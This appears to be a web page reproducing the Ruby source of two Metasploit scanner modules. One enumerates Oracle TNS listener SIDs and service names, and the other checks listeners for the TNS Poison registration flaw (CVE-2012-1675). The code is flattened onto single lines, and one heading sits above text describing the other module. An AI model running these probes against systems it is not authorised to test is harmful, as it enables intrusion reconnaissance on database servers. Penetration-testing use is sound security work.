    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::TNS  include Msf::Auxiliary::Report  include Msf::Auxiliary::Scanner  def initialize(info = {})    super(update_info(info,      'Name'           => 'Oracle TNS Listener SID Enumeration',      'Description'    => %q{        This module simply queries the TNS listener for the Oracle SID.        With Oracle 9.2.0.8 and above the listener will be protected and        the SID will have to be bruteforced or guessed.      },      'Author'         => [ 'CG', 'MC' ],      'License'        => MSF_LICENSE,      'DisclosureDate' => '2009-01-07'    ))    register_options(      [        Opt::RPORT(1521)      ])  end  def run_host(ip)    begin      connect      pkt = tns_packet("(CONNECT_DATA=(COMMAND=STATUS))")      sock.put(pkt)      select(nil,nil,nil,0.5)      data = sock.get_once        if ( data and data =~ /ERROR_STACK/ )          print_error("TNS listener protected for #{ip}...")        else          if(not data)            print_error("#{ip} Connection but no data")          else            sid = data.scan(/INSTANCE_NAME=([^\)]+)/)              sid.uniq.each do |s|                report_note(                  :host   => ip,                  :port  => rport,                  :type   => "oracle_sid",                  :data   => "PORT=#{rport}, SID=#{s}",                  :update  => :unique_data                )                print_good("Identified SID for #{ip}:#{rport} #{s}")              end            service_name = data.scan(/SERVICE_NAME=([^\)]+)/)              service_name.uniq.each do |s|                report_note(                  :host   => ip,                  :port  => rport,                  :type   => "oracle_service_name",                  :data   => "PORT=#{rport}, SERVICE_NAME=#{s}",                  :update  => :unique_data                )                print_status("Identified SERVICE_NAME for #{ip}:#{rport} #{s}")              end          end        end      disconnect    rescue ::Rex::ConnectionError    rescue ::Errno::EPIPE    end  endend

Oracle TNS Listener SID Enumeration

This Metasploit module checks the server for vulnerabilities like TNS Poison. Module sends a server a packet with command to register new TNS Listener and checks for a response indicating an error. If the registration is errored, the target is not vulnerable. Otherwise, the target is vulnerable to malicious registrations.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Auxiliary::Report  include Msf::Auxiliary::Scanner  include Msf::Exploit::Remote::TNS  def initialize(info = {})    super(update_info(info,      'Name'           => 'Oracle TNS Listener Checker',      'Description'    => %q{        This module checks the server for vulnerabilities like TNS Poison.        Module sends a server a packet with command to register new TNS Listener and checks        for a response indicating an error. If the registration is errored, the target is not        vulnerable. Otherwise, the target is vulnerable to malicious registrations.      },      'Author'         => ['ir0njaw (Nikita Kelesis) <nikita.elkey[at]gmail.com>'], # of Digital Security [http://dsec.ru]      'References'     =>        [          [ 'CVE', '2012-1675'],          [ 'URL', 'https://seclists.org/fulldisclosure/2012/Apr/204' ],        ],      'DisclosureDate' => '2012-04-18',      'License'        => MSF_LICENSE))    register_options(      [        Opt::RPORT(1521)      ])  end  def run_host(ip)    begin      connect      send_packet = tns_packet("(CONNECT_DATA=(COMMAND=service_register_NSGR))")      sock.put(send_packet)      packet = sock.read(100)      if packet        hex_packet = Rex::Text.to_hex(packet, ':')        split_hex = hex_packet.split(':')        find_packet = /\(ERROR_STACK=\(ERROR=/ === packet        if find_packet == true #TNS Packet returned ERROR          print_error("#{ip}:#{rport} is not vulnerable")        elsif split_hex[5] == '02' #TNS Packet Type: ACCEPT          print_good("#{ip}:#{rport} is vulnerable")        elsif split_hex[5] == '04' #TNS Packet Type: REFUSE          print_error("#{ip}:#{rport} is not vulnerable")        else #All other TNS packet types or non-TNS packet type response cannot guarantee vulnerability          print_error("#{ip}:#{rport} might not be vulnerable")        end      else        print_error("#{ip}:#{rport} is not vulnerable")      end      # TODO: Module should report_vuln if this finding is solid.      rescue ::Rex::ConnectionError, ::Errno::EPIPE      print_error("#{ip}:#{rport} unable to connect to the server")    end  endend

Tag

#oracle